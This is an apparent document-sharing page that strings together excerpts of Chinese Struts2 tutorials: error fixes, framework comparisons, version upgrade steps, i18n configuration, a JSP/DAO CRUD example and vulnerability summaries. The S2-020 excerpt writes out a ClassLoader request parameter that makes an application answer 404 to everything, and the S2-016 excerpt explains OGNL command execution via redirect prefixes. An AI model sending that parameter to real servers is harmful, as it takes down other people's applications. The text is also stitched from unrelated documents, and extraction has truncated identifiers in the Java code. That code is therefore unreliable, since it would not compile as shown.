struts2升级

合集下载

学习struts2——常见问题与处理

学习struts2——常见问题与处理

学习struts2.2.1遭遇滑铁卢~~~~~好多异常~~~~~好多bug~~~~好多问题~~~~~~好多困难~~~好多肥羊~~~一、Filter mapping specifies an unknown filter name ----filter标签在web.xml 里的顺序<filter-mapping><filter-name>adminOperateLogFilter</filter-name><url-pattern>/*</url-pattern></filter-mapping><filter><filter-name>adminOperateLogFilter</filter-name><filter-class>com.berheley.exam.web.filter.AdminOperateLogFil ter</filter-class></filter>这样写启动服务器时报错 Filter mapping specifies an unknown filter nameadminOperateLogFilter将这两块换个顺序就没问题了,web.xml信息的加载是有顺序的,filter在mapping之前必须要让服务器找到其定义。

<filter><filter-name>adminOperateLogFilter</filter-name><filter-class>com.berheley.exam.web.filter.AdminOperateLogFil ter</filter-class></filter><filter-mapping><filter-name>adminOperateLogFilter</filter-name><url-pattern>/*</url-pattern></filter-mapping>二、ng.IllegalArgumentException: Filter mapping specifies an unknown filter nameStruts2答:“Struts2”?大写的?are you sure?我猜你一定是看了某struts2.0的权威指南(那是一个chm文件电子书,而且你看的可能是翻译成中文的),我不知道英文版的有没有写错,但是我检查了很久后才发现中文版存在这个大小写错误。

struts2

struts2

1.strust2框架来历简介:WebWork是由OpenSymphony组织开发的,致力于组件化和代码重用的J2EE Web框架。

(同时也是一个成熟的基于Web的MVC框架)MVC:Model View Controller,model是模型,view是视图,controller是控制器,是一种框架模式。

随着WebWork框架的发展,衍生出了strust2框架,因此strust2框架是WebWork的升级,而不是一个全新的框架,因此稳点性、性能等方面都有很好的保证,而且也同时吸收了struts1框架和WebWork俩者的优点.所以strust2框架也是一个基于Web的MVC框架注意:strust2框架并不是struts1框架的延续或者升级,俩者有着很大的不同2.web项目中的三层架构(和MVC是俩个完全不同的架构)1.表示层(Struts2框架就是工作在这个地方)2.业务逻辑层(service层,处理业务逻辑,比如判断用户名是否存在、密码是否正确、权限是否拥有、账号是否被冻结、账号是否异常、用户积分是否到达操作要求等等,多为一些执行某一个操作条件的判断)3.数据访问层(dao层,专门处理和数据库进行交换的事情,jdbc/hibernate就在这里使用)在项目中,这些不同的分层的表现形式,其实就是在我们自己建的不同的package 中写上各自分层中所使用的java类.比如在项目中我们建了三个package,三个package中java类的作用分别为表示层的代码、业务逻辑层代码、数据访问层代码。

注意:可以理解为,MVC架构是这里说描述的三层架构的一部分,即:三层架构中的表示层可以使用mvc架构的框架来实现,例如使用struts2框架.3.使用struts2框架的好处(为什么要使用struts2框架)减少编程人员代码的编写,使代码更加简洁明了,缩短开发时间,增加开发效率.4.struts2框架引入到web项目中首先使用Eclipse/MyEclipse中建一个web项目.1.把struts2相关jar包引入到项目中。

struct2

struct2

Struts2相关Struts2是一个按照MVC模式设计的web层框架,其实Struts2就是一个大大的filter,我们可以在web.xml文件中讲符合某种特征的所有请求交给这个filter处理,这个filter再参照一个配置文件(通常为/WEB-INF/classes/struts.xml)将各个请求分别分配给不同的action去处理!Struts2的核心FilterDispatcher, 从2.1.3版本开始, 换成了StrutsPrepareAndExecuteFilter. 官方为什么要做这个升级呢?首先看下官方给的Struts2工作原理图:Struts2工作原理(基于看完上图的理解):当一个HttpServletRequest请求来了,先经过ActionContextCleanUp过滤器,清除Action环境,再经过其他的过滤器,例如说SiteMesh和用户自定义过滤器等等, 最后到达Struts2的核心过滤器StrutsPrepareAndExecuteFilter,此时,StrutsPrepareAndExecuteFilter会去找ActionMapping看此Action路径是否存在,如果存在,则会参照Struts.xml文件产生Action的代理,并且执行Action,Struts2很多功能是靠拦截器完成的,所以这个Action代理真正调用Action的处理请求的方法的时候会经过拦截器1,2,3,才真正调用Action的方法,Action方法结束后会返回一个视图,视图也会去参照ActionMapping,还会参照Template(JSP,FreeMarker),此时,拦截器会再次拦截(说明Struts2的拦截器是进入Action和返回结果的时候都会拦截的,这比Filter好!),最后产生HttpServletResponse,相应结果!我们也看到了, 老版本上面, 我们需要的别的过滤器全部要放在Struts2的过滤器之前. 但是我现在有个需求: 我想在我的过滤器里面做一些事,需要Struts2的环境(ActionContext), 但是又需要在Struts2的Action执行之前. 这个时候, 老版本的那个过滤器就只能两眼望青天了.打个比方, 好比一个病人要做手术, 做手术需要打麻药(自定义过滤器)和动手术(Struts2的过滤器), 请问打麻药要怎么打呢? 不能让病人站着吧.. 所以首先要准备一个床(ActionContext), 之后打麻药, 再手术. 这也就是StrutsPrepareAndExecuteFilter真正的含义. 可以分成StrutsPrepareFilter,StrutsExecuteFilter, 如果没有像之前那样的需求,我们一般都用StrutsPrepareAndExecuteFilter就可以了.。

strusts2课堂总结

strusts2课堂总结

一、1、struts2struts2是mvc设计思想的一个实现,可以将项目低耦合,提高扩展性2、struts2和struts1的区别struts2不是struts1的升级,而是继承的下xwork的血统,它吸收了struts1和webwork 的优势。

struts2的action是原型,安全的,struts2的action是单例,非安全3、步骤:1、导入包2、在web.xml文件中,加入struts2的核心拦截器3、在src下放入struts2的xml struts.xml4、urlhttp://localhost:8080/Struts2_01_HelloWorld/demo/hello.action二、1、默认值2、转发和重定向的区别转发:url显示的依然是上一个的url,共享上一次的请求重定向:url显示的是下一个的url,不共享3、urlhttp://localhost:8080/Struts2_02_Default/demo/hello.action4、路径http://localhost:8080/Struts2_02_Default/demo/a/b/c/hello.action1、原路径找不到,http://localhost:8080/Struts2_02_Default/demo/a/b/hello.action2、如果1找不到,http://localhost:8080/Struts2_02_Default/demo/a/hello.action3、如果2找不到,http://localhost:8080/Struts2_02_Default/demo/hello.action3、如果3找不到,http://localhost:8080/Struts2_02_Default/hello.action三、11、自定义action继承ActionSupport2、功能方法必须满足格式public String 名字()throws Exception{....};3、urlhttp://localhost:8080/Struts2_03_Action/demo/a.action四、1、如何给action传入参数注意:赋值的必须有封装的set方法,通过el表达式获取的时候,必须有封装的get 方法1、直接给单个参数赋值,在action里建立一个变量,名字与参数的名字一样2、为对象的某个属性赋值,在action里建立一个对象,将参数改为对象名.属性的格式五、1、转发和重定向的区别转发到下一次的时候,url依然是上一次的url,共享上一次的request重定向到下一次的时候,url是下一次的url,不共享上一次的request2、struts2的result的type转发:共享上一次action重定向:不共享上一次action1、转发到下一个jsp,html:dispatcher2、重定向到下一个jsp,html:redirect3、转发到下一个action:chain转到同一个包下的action转发到不同包下的action4、重定向到下一个action:redirectAction转到同一个包下的action转发到不同包下的action六、1、为了分模块开发,可以设置多个xmL文件。

Struts1与struts2的区别总结

Struts1与struts2的区别总结

Struts1与struts2的区别总结1,背景:Struts2并不是struts1的升级版,两者没有太大的关系,struts2是继承了webwork的机制,吸收了struts2和webwork的有优势。

Struts2是基于WebWork的一个全新框架. Struts2主要改进是取代了Struts1的Servlet和Action. Struts2的核心框架是当作一个filter来实现其功能的,而Struts1是ActionServlet.然后在Action上,Struts1都少不了要传递Request等参数,还要继承Action父类,而Struts2只要实现了一个public String execute()就可以了,这样Action就可以实现脱离Servlet 测试. Struts2还提供了拦截器(Interceptot)等Struts1所没有的技术.2,Action类Struts1要求action继承一个抽象基类,而struts2既可以继承类又可以实现action对应的接口,即接口编程,可以实现多个接口,使得可选和订制服务成为可能。

3,线程模式Struts1中的action是单例模式,会涉及到线程安全问题,因为仅有一个action来处理所有的请求,而struts2则是非单例模式,每个请求对应一个action,这样就不用考虑线程安全的问题(而且,servlet容器会给每个请求产生可丢弃的对象,这样就不会导致性能和垃圾回收问题)。

4,可测性Struts1中的action有个主要的问题是execute方法暴露了servlet API,这使得测试等需要依赖servlet容器。

一个第三方扩展--struts TestCase--提供了一套struts模拟对象来进行测试;而struts2 中的action可以通过初始化和设置属性(例如action当中直接用get和set方法),调用方法来测试,“依赖式注入”注入也使得测试更容易5,servlet依赖Struts1中的action依赖于servlet API,因为当一个action被调用时,HttpServletRequest和HttpServletResponse对象会被传递给execute方法(请求和响应的对象需要依赖于execute方法,即servlet API);而struts2中的action则不需要依赖于servlet容器,允许action脱离容器单独被测试(例如:struts2中获取请求的对象可以用ServletActionContext.getRequest())。

Struts2S2-020漏洞介绍

Struts2S2-020漏洞介绍

Struts2 S2-020漏洞简介1.漏洞概述今年二月初,Apache Tomcat项目组委员会成员Mark Thomas提到CVE-2014-0050漏洞本是通过JPCERT上报给Apache软件基金会,但是由于处理邮件失误,导致漏洞细节泄露,使得这个问题提前曝光。

随后在三月,Apache 官方公布了S2-020漏洞公告,公告里简要描述了该漏洞形成的原因和临时解决方案。

在官方这个通告公布的一段时间后,各大厂商已经采取了相应的安全措施去解决或预防这个漏洞。

但在不久之后,在SecurityFocus、Spiderlabs等安全网站上又披露了CVE-2014-0094漏洞修补方案本身存在漏洞,导致补丁被完全绕过,造成更大的危害。

近日,官方在GitHub上已经对该问题做出了修正,但随后发现该修正方案也可绕过。

2.漏洞危害官方在S2-020漏洞公告里介绍了两种漏洞(CVE-2014-0050、CVE-2014-0094):一是通过Commons-fileupload造成的拒绝服务攻击;另一个是附加的ParametersInterceptor允许访问'class' 参数(该参数直接映射到getClass()函数),并允许控制ClassLoader。

例如,给当前应用目录赋值地址映射目录是攻击者可控的目录时,攻击者便可轻易地执行预先设置好的代码;另一个危害是给当前应用目录赋值一个不存在的地址(class.classLoader.resources.dirContext.docBase=不存在路径)会导致应用404,这样当前应用,以后不管访问哪个地址都是404了(因为映射的目录不存在),造成DoS效果。

近日安全研究人员发现Apache Struts2 S2-020,在CVE-2014-0094的漏洞修补方案中存在漏洞,漏洞补丁存在被绕过的风险,可能导致执行任意代码。

3.解决方案官方解决方案:升级struts版本到2.3.16.1。

基于Web项目开发中的Struts2技术探讨

基于Web项目开发中的Struts2技术探讨


MV C设计模 式
MV C设计模式是 至今用得 比较多 的一种设计模式 , 是最早 的许多缺点 ,并 以 We Wok为核心 ,采用 WeWok的设计理 b r b r 。 tt r 2 t s 的升级版 , u 而是兼容 了 Srt1 t s 和 u 出现在 S a a ml l h k中, 后来广泛用于 Jv b应用程序 中。M dl 念.因此 S us 并不是 Srt1 aa We oe ( 模型 ) 表示业 务逻辑层 , i ( 图 ) 表表示层 , ot l r控 WeWok Ve 视 w 代 C nr l ( oe b r 两个框架 ,t t S us 以下优势 : r 2有 制器 ) 表控制层 。如 图 1 代 所示 :
4 易测性 、
图 1MV C设计模式图
Srt t s A t n 以通过初始化 、设置属性和调用 方法来 u 2的 ci 可 o 3控制( otlr部分 由 Sre组成 。 、 Cn oe) rl el vt 当用户请求从 Ve 测试 。依赖 注入 的支持也使测试 变得更简单。 i w 部分传过 来时 ,otlr Cn oe 把该请求发给适 当的业 务组 件 ;请求 rl 5 捕获输入 、
Jv aa We b
良好 的层 次划分 , 同时也提供 了一系列工具来简化应用的开发 。
关 键 词 Srt2 t s u
中图分类号 T 3 1 P 1
文献标识码

文章编号 1 0 1 5 3 1 3— 9 8 1
Srt e h oo yB s do eWe rjc e e p n t s T c n lg a e nt bPoe t v l me t u2 h D o
g o i r r h c l iiin a d S r t2h ss r s o l i l yt ed v lp n f p l ai n o d h e a c ia v so , n tu s a e i ost smp i e e o me t p i t . d e t o f h oa c o

使用struts2、数据库、JSP实现增、删、改、查源码

使用struts2、数据库、JSP实现增、删、改、查源码

Action 包下面的class文件:package action;import erDao;import erDaoImp;import er;public class UserAction {private User user;public String add(){UserDao userDao = new UserDaoImp();try {userDao.save(user);return"success";} catch (Exception e) {e.printStackTrace();return"error";}}public String update(){UserDao userDao = new UserDaoImp();try {userDao.updata(user);System.out.print("----");return"success";} catch (Exception e) {e.printStackTrace();return"error";}}public String delete(){UserDao userDao = new UserDaoImp();try {userDao.deleteById(user.getId());return"success";} catch (Exception e) {e.printStackTrace();return"error";}}public String show(){UserDao userDao = new UserDaoImp();try {user = userDao.findById(user.getId());return"success";} catch (Exception e) {e.printStackTrace();return"error";}}public User getUser() {return user;}public void setUser(User user) {er = user;}}package action;import java.util.List;import erDao;import erDaoImp;import er;public class UserListAction {private List<User> users;public List<User> getUsers() {return users;}public void setUsers(List<User> users) { ers = users;}public String execute(){UserDao userDao = new UserDaoImp();try {users = userDao.findAll();return"success";} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();return"error";}}}Dao 下面的class文件package dao;import java.util.List;import er;public interface UserDao {public void save(User user) throws Exception;public void updata(User user) throws Exception;public void deleteById(int id) throws Exception;public User findById(int id) throws Exception;public List<User> findAll() throws Exception;}Daoimpl包下面的class文件package daoimp;import java.sql.Connection;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.util.ArrayList;import java.util.List;import util.DBUtil;import erDao;import er;public class UserDaoImp implements UserDao {static final String insert = "insert into t_user(username,pwd,age) values(?,?,?)";static final String findAll = "select * from t_user";static final String delete = "delete from t_user where id=?";static final String findById = "select * from t_user where id=?";static final String update = "update t_user set username=?,pwd=?,age=? where id=?";public List<User> findAll() throws Exception {Connection con = DBUtil.getConnection();PreparedStatement pst = con.prepareStatement(findAll);ResultSet rs = pst.executeQuery();List<User> users = new ArrayList<User>();while(rs.next()){User user = new User();user.setId(rs.getInt("id"));user.setUsername(rs.getString("username"));user.setPassword(rs.getString("pwd"));user.setAge(rs.getInt("age"));users.add(user);}con.close();return users;}public User findById(int id) throws Exception {Connection con = DBUtil.getConnection();PreparedStatement pst = con.prepareStatement(findById);pst.setInt(1, id);ResultSet rs = pst.executeQuery();if(rs.next()){User user = new User();user.setId(rs.getInt("id"));user.setUsername(rs.getString("username"));user.setPassword(rs.getString("pwd"));user.setAge(rs.getInt("age"));return user;}DBUtil.close(con);return null;}@Overridepublic void deleteById(int id) throws Exception {// TODO Auto-generated method stubConnection con = DBUtil.getConnection();PreparedStatement pstmt = con.prepareStatement(delete);pstmt.setInt(1, id);pstmt.executeUpdate();con.close();}@Overridepublic void save(User user) throws Exception {// TODO Auto-generated method stubConnection con = DBUtil.getConnection();PreparedStatement pstmt = con.prepareStatement(insert);pstmt.setString(1, user.getUsername());pstmt.setString(2, user.getPassword());pstmt.setInt(3, user.getAge());pstmt.executeUpdate();con.close();}@Overridepublic void updata(User user) throws Exception {// TODO Auto-generated method stubConnection con = DBUtil.getConnection();PreparedStatement pstmt = con.prepareStatement(update);pstmt.setString(1, user.getUsername());pstmt.setString(2, user.getPassword());pstmt.setInt(3, user.getAge());pstmt.setInt(4, user.getId());pstmt.executeUpdate();con.close();}}实体层entity包下面的class文件:package entity;public class User {private int id;private String username;private String password;private int age;public int getId() {return id;}public void setId(int id) {this.id = id;}public String getUsername() {return username;}public void setUsername(String username) {ername = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}}JSP文件:Add.jsp<body><form action="add.action"method="post"><table border="1"align="center"><tr><td>UserName:</td><td><input type="text"name="ername"></td> </tr><tr><td>PassWord:</td><td><input type="password"name="user.password"></td> </tr><tr><td>Age:</td><td><input type="text"name="user.age"></td></tr><tr align="center"><td colspan="2"><input type="submit"value="添加"><a href="list.action">查看用户列表</a></td></tr></table></form><!--<h1>添加</h1><form action="add.action" method="post">用户名:<input type="text" name="ername"><br/>密&nbsp;&nbsp;码:<input type="password" name="user.pwd"><br/> name="user.pwd"><br/>年&nbsp;&nbsp;龄:<input type="text" name="user.age"><br/><input type="submit" value="添加"><a href="list.action">查看用户列表</a></form>--></body>Error.jsp<body><h1>系统错误!请稍候重试....!</h1><br></body>List.jsp<body><table border="1"align="center"><tr><th>ID:</th><th>UserName:</th><th>Age:</th><th>相关操作</th></tr><s:iterator value="users"><!-- 遍历 value是集合的对象 --> <tr><td><s:property value="id"/></td><td><s:property value="username"/></td><td><s:property value="age"/></td><td><a href='delete.action?user.id=<s:property value="id"/>'>删除</a><a href='show.action?user.id=<s:property value="id"/>'>查看</a><a href='update_init.action?user.id=<s:property value="id"/>'>修改</a></td></tr></s:iterator><tr align="center"><td colspan="4"><a href="add.jsp">添加</a></td> </tr></table><br/></body>Show.jsp<body>用户名:<s:property value="ername"/><br>密&nbsp;&nbsp;码:<s:property value="user.password"/><br>年&nbsp;&nbsp;龄:<s:property value="user.age"/><br><a href="list.action">返回</a></body>Update.jsp<body><h1>用户更新</h1><s:form action="update"theme="simple"method="post"><s:textfield name="user.id"/>用户名:<s:textfield name="ername"/><br/>密&nbsp;&nbsp;码:<s:password name="user.password" showPassword="true"/><br/>年&nbsp;&nbsp;龄:<s:textfield name="user.age"/><br/><input type="submit"value="更新"><a href="list.action">查看用户列表</a></s:form></body>。

struts2漏洞解决方案

struts2漏洞解决方案

struts2漏洞解决方案对于Struts2漏洞的修复和预防是非常重要的,因为它可能导致严重的安全问题和系统遭受攻击。

在本文中,我们将介绍一些可行的解决方案和建议,以帮助您防范和修复Struts2漏洞。

1. 及时更新Struts2框架版本Struts2团队经常发布新版本来修复安全漏洞和其他bug。

您应该始终关注Struts2的官方网站,了解最新版本的发布情况,并尽快将您的应用程序升级到最新版本。

新版本通常会修复旧版本中存在的已知漏洞,并提供更好的安全性和稳定性。

2. 安全配置在您的Struts2应用程序中,您可以配置一些安全设置来增加系统的安全性。

例如,可以禁用用于开发和调试的Struts2调试模式,禁用动态方法调用,并且仅允许受信任的主机进行访问。

这些配置可以减少潜在的攻击面并增强您的应用程序的安全性。

3. 过滤用户输入用户输入是导致Struts2漏洞的常见来源之一。

为了避免潜在的安全问题,您应该始终对用户的输入数据进行有效的过滤和验证。

使用适当的输入验证和过滤技术,如正则表达式、白名单和黑名单等,可以防止常见的漏洞攻击,如SQL注入和跨站脚本攻击。

4. 使用安全框架或插件除了Struts2框架本身的安全性措施外,您还可以考虑使用安全框架或插件来增强您的应用程序的安全性。

例如,Apache Shiro是一个强大而灵活的安全框架,可以与Struts2无缝集成,并提供更高级的安全功能,如认证、授权和会话管理等。

5. 日志和监控为了及时发现和应对潜在的Struts2漏洞攻击,您应该启用详细的日志记录和监控机制。

定期审查日志记录,以便及早识别异常活动和攻击尝试。

同时,您还可以使用安全监控工具来实时监视您的应用程序,以便及时发现和应对任何安全威胁。

总结:通过及时更新Struts2框架版本、配置安全设置、过滤用户输入、使用安全框架或插件以及启用日志和监控机制,您可以有效地解决和预防Struts2漏洞。

在保障应用程序的安全性方面,持续的关注和努力非常重要。

struts升级至struts2.5方法

struts升级至struts2.5方法

1、替换jar包替换如下jar包freemarker-2.3.23.jarognl-3.1.12.jarjavassist-3.20.0-GA.jarstruts2-json-plugin-2.5.10.1.jarstruts2-spring-plugin-2.5.10.1.jarstruts2-core-2.5.10.1.jar删除:xwork-core-2.3.28.1.jar新增:log4j-api-2.7.jar2、修改struts配置文件1)、修改标题头:将标题头改为:<!DOCTYPE struts PUBLIC"-//Apache Software Foundation//DTD Struts Configuration 2.5//EN""/dtds/struts-2.5.dtd">2)、方法不能访问的问题,需要在每个action配置文件中加上strict-method-invocation="false"3、修改web.xml配置文件将:org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter修改为:org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter如果原web.xml中配置有org.apache.struts2.dispatcher.ActionContextCleanUp,则将其注掉4、修改jsp中struts标签1)、类似<s:iterator value="***List" id="***">标签改为<s:iterator value="***List" var="***"> 2)、类似<s:property escape="false"/>标签修改为<s:property escapeHtml="false"/>3)、类似<s:bean name="mon.DictItem" id="dictItem" />标签修改为<s:bean name="mon.DictItem" var="dictItem" />。

struts2国际化配置

struts2国际化配置

前提条件:strut2的必须架包已经引入,struts2的配置文件全部配置完成1.首先创建一个struts.properties在src目录下,服务器启动时候会自动加载该文件,在这个文件中写入struts.custom.i18n.resources=globalMessages,服务器会自动选择前缀为globalMessages资源文件。

(或者你在你的struts.xml文件中添加<constant name="struts.custom.i18n.resources"value="globalMessages"></constant>服务器加载struts.xml的时候会加载国际化资源文件);2.在src目录下创建资源文件英文globalMessages_en.properties 中文globalMessages_zh.properties。

globalMessages_en.properties 文件内容为home=homeglobalMessages_zh.properties文件内容为home=¥u9996¥u98753.在页面端获得资源文件信息。

<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>My JSP 'test.jsp' starting page</title></head><body><s:text name="home"></s:text></body></html>struts2的国际化分三种情况1.前台页面的国际化,2.Action类中的国际化,3.配置文件的国际化。

struts2升级为struts-2.3.16.3

struts2升级为struts-2.3.16.3

Struts2升级为struts-2.3.16.3步骤1、前往/download.cgi#struts23163网站下载Struts 2.3.16.3包,解压文件。

2、新增jar包struts2-core-2.3.15.2.jarstruts2-spring-plugin-2.3.15.2.jarstruts2-json-plugin-2.3.15.2.jarxwork-core-2.3.15.2.jarognl-3.0.6.jarjavassist-3.11.0.GAcommons-lang3-3.1.jar3、删除的jar包struts-core-2.0.11.jarstruts-spring-plugin-2.0.11.jarxwork-2.0.4.jarjsonplugin-0[1].32.jarognl-2.6.11.jar4、修改web.xml将<filter><filter-name>struts-cleanup</filter-name><filter-class>org.apache.struts2.dispatcher.ActionContextCleanUp</filter-class></filter><filter-mapping><filter-name>struts-cleanup</filter-name><url-pattern>/*</url-pattern></filter-mapping>注释。

若使用过程中使用FilterDispatcher,控制台有如下警告,用StrutsPrepareAndExecuteFilter替换即可。

引用************************************************************************ WARNING!!! ** ** >>> FilterDispatcher <<< is deprecated! Please use the new filters! ** ** This can be a source of unpredictable problems! ** ** Please refer to the docs for more details! ** /2.x/docs/webxml.html ** ************************************************************************即改为:<filter><filter-name>struts2</filter-name><filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter </filter-class></filter>5、修改strut.xml文件<constant name="struts.devMode" value="false" /> 将value修改为false或者将该条配置去掉。

Struts和Struts2有什么区别?Struts主要要注意哪些?

Struts和Struts2有什么区别?Struts主要要注意哪些?

Struts和Struts2有什么区别?Struts主要要注意哪些?简单版:Struts2不能理解为Struts1的升级版,Struts2以Xwork 为核心,可以理解为WebWork的升级版详细版:1.Action类Struts1.x要求Action类要扩展自一个抽象基类。

Struts1.x的一个共有的问题是面向抽象类编程而不是面向接口编程。

Struts2的Action类实现了一个Action接口,连同其他接口一起来实现可选择和自定义的服务。

Struts2提供一个名叫ActionSupport的基类来实现一般使用的接口。

当然,Action接口不是必须的。

任何使用 execute方法的POJO对象可以被当作Struts 2的Action对象来使用。

2.线程模型Struts1.x Action类是单例类,因为只有一个实例来控制所有的请求。

单例类策略造成了一定的限制,并且给开发带来了额外的烦恼。

Action资源必须是线程安全或者同步的。

Struts2 Action对象为每一个请求都实例化对象,所以没有线程安全的问题。

(实践中,servlet容器给每一个请求产生许多丟弃的对象,并且不会导致性能和垃圾回收问题)3.Servlet 依赖Struts1.x的Action类依赖于servlet API,当Action被调用时,以HttpServletRequest和HttpServletResponse作为参数传给execute方法。

Struts2的Action和容器无关。

Servlet上下文被表现为简单的Maps,允许Action被独立的测试。

Struts2的Action可以访问最初的请求(如果需要的话)。

但是,尽可能避免或排除其他元素直接访问 HttpServletRequest或HttpServletResponse。

4.易测性测试Struts1.x的主要问题是execute方法暴露了Servlet API这使得测试要依赖于容器)。

SSH开发模式——Struts2(第一小节)

SSH开发模式——Struts2(第一小节)

SSH开发模式——Struts2(第⼀⼩节)在制定了学习计划的学习过程中,我感觉学习还是很有效率的。

很短的时间内,我便学习完了JavaWeb的连接池、DbUtils框架及其⼀些⼯具类的使⽤。

学⽆⽌境,学习这些知识还远远不够,所以,在接下来的时间⾥,我将对JavaWeb中的SSH开发模式进⾏⼀个简单的学习,并⽤博客记录学习进度。

开发模式相信⼤家都有接触或听说,但⼜觉得这个东西很神秘,的确,这看不见摸不着的东西确实很让⼈好奇,所以,从今天开始,我将带着⼤家去揭开它神秘的⾯纱。

我会把整个开发模式分为三部分,第⼀部分:Struts2,第⼆部分:Hibernate,第三部分:Spring。

但是即使分为了三部分,每个部分的框架仍然略显复杂。

所以,我将在每部分的框架中继续细分。

那么,今天便开始第⼀部分的内容,Struts2。

⾸先了解⼀下Struts2的历史吧。

Struts1是全世界第⼀个发布的MVC框架在2001年发布Struts2并不是Struts1的升级版是由WebWork基础上发展起来的吸收了Struts 1和WebWork两者的优势那Struts2到底是什么呢?Struts2是⼀个⽤来开发MVC应⽤程序的框架。

它提供了Web应⽤程序开发过程中的⼀些常见问题的解决⽅案:页⾯导航活动的管理⽤户输⼊数据的合法性验证统⼀的布局可扩展性国际化和本地化⽀持Ajax表单的重复提交我们假设⼀个场景,在⼀个jsp页⾯中有多个超链接,点击每个超链接都需要进⾏对应的处理,每个超链接对应⼀个Java类,类中有⼀个⽅法,我们的⽬的就是要点击超链接调⽤对应的Java类的⽅法,对于这样的场景,我们有两种解决⽅案,⼀是通过Servlet去调⽤Java类,⼆是通过过滤器去调⽤Java类。

但是两种⽅法都很⿇烦,重复的代码特别多,这时候,Struts2框架就起到了⾄关重要的作⽤,它可以很⽅便地帮助我们解决这个问题。

那么,如何搭建Struts2的开发环境呢?搭建Struts2环境时,我们⼀般需要做以下⼏个步骤的⼯作:1. 创建javaweb⼯程2. 找到开发Struts2应⽤需要使⽤到的jar⽂件3. 创建jsp⽂件4. 创建action⽂件5. 编写Struts2的配置⽂件6. 在web.xml中加⼊Struts2 MVC框架启动配置我们按照步骤⼀步步⾛。

struts2漏洞自查报告

struts2漏洞自查报告

struts2漏洞自查报告struts2漏洞原理及解决办法1、原理Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。

当我们提交一个http参数:user.address.city=Bishkek&amp;user[&#39;favoriteDrink&#3 9;]=kumysONGL将它转换为:action.getUser().getAddress().setCity(&quot;Bishkek&quot;) action.getUser().setFavoriteDrink(&quot;kumys&quot;)这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。

为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击(&#39;\u0023_memberAccess[\&#39;allowStaticMethodAccess\&#39;]&#39;)(meh)=true&amp;(aaa)((&#39;\u0023contex t[\&#39;xwork.MethodAccessor.denyMethodExecution\&#39; ]\u003d\u0023foo&#39;)(\u0023foo\u003dnew%ng. Boolean(&quot;false&quot;)))&amp;(asdf)((&#39;\u0023rt.ex it(1)&#39;)(\u0023rt\***************.Runtime@getRuntime ()))=1转义后是这样:(&#39;#_memberAccess[&#39;allowStaticMethodAccess&#3 9;]&#39;)(meh)=true&amp;(aaa)((&#39;#context[&#39;xwork. MethodAccessor.denyMethodExecution&#39;]=#foo&#39;)(#f oo=new%ng.Boolean(&quot;false&quot;)))&amp;(as df)((&#39;#rt.exit(1)&#39;)(#rt=@ng.Runtime@getRunt ime()))=1OGNL处理时最终的结果就是ng.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭类似的可以执行ng.Runtime.getRuntime().exec(&quot;net user 用户名密码/add&quot;);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)只要有权限就可以执行任何DOS命令。

s1与s2区别

s1与s2区别

s1与s2区别struts1和struts2的区别struts2不是struts1的升级,而是继承的webwork的血统,它吸收了struts1和webwork的优势。

1.action类struts1要求继承一个抽象的基类(MappingDispatchAction),而且是使用抽象类编程不是接口struts2 action类可以实现action接口但是不是必须的,任何有execute标识的POJO对象都可以用作struts2的action对象2. 线程模式struts1 action是一个单例模式并且必须是线程安全的,单例策略限制了struts1 action的行为,action资源必须是线程安全的或者是同步的.struts2 action对象为每一个请求产生一个实例,因此没有线程安全的问题.3.servlet依赖struts1 action 严重依赖于servlet的API(应用程序接口),调用action被调用时httpservletrequest和httpservletresponse被传递给execute方法strurs2 action不依赖于容器,action可以单独被测试,同时如果需要httpservletrequest和httpservletresponse也可以从ServletActionContext类用对应的get方法获取4.可测试性struts1 execute方法使用了servlet API很难测试虽然可以借助struts Testcase提供对象来测试但是也很麻烦struts2 Struts2只要实现了一个public String execute()就可以了,这样Action就可以实现脱离Servlet 测试.5.接受输入struts1使用actionForm对象来接受输入。

所有的actionform都必须继承该基类。

因为他javaBean不能当做作actionform,导致开发者经常创建多余的类来捕获输入。

Apache structs2安全漏洞

Apache structs2安全漏洞

一、漏洞概述漏洞名称:Apache Struts Multiple Remote Command Execution VulnerabilitiesApache Struts 远程命令执行漏洞受影响范围:Apache Struts2 2.3.15.1 以前版本(不含)漏洞简单介绍:CVE ID: CVE-2013-2251Struts 2 的 DefaultActionManager 支持一种简单的导航机制,这种机制接收客户端提交(GET和POST,不包括COOKIE)的参数来进行页面的导航,参数格式为:关键字+冒号(半角)+OGNL表达式,关键字有action、redirect、redirectAction。

设计此机制的目的是为了向表单中的按钮添加导航信息。

在 2.3.15.1 以前的版本中,服务器端并未对这种导航机制传递给服务端的OGNL表达式进行安全过滤。

因此,攻击者就可以构造一个恶意的 OGNL 表达式,从而能够在服务器端执行任意代码。

各关键字的含义如下:action - 表示把表达式的执行结果作为Action来处理redirect - 表示把表达式的结果作为重定向的URL来强制客户端跳转(302跳转)redirectAction - 表示把表达式的结果后追加一个.action后作为重定向的URL来强制客户端跳转(302跳转)参考链接:/vulndb/24131/bid/61189/discuss/release/2.3.x/docs/s2-016.html二、检测与利用方法通过这种框架开发的网站的链接基本都是以action结尾的文件,比如测试链接:/home.action等。

1. 漏洞检测方法:使用如下测试链接,如果存在问题,会返回对应的HTTP状态码。

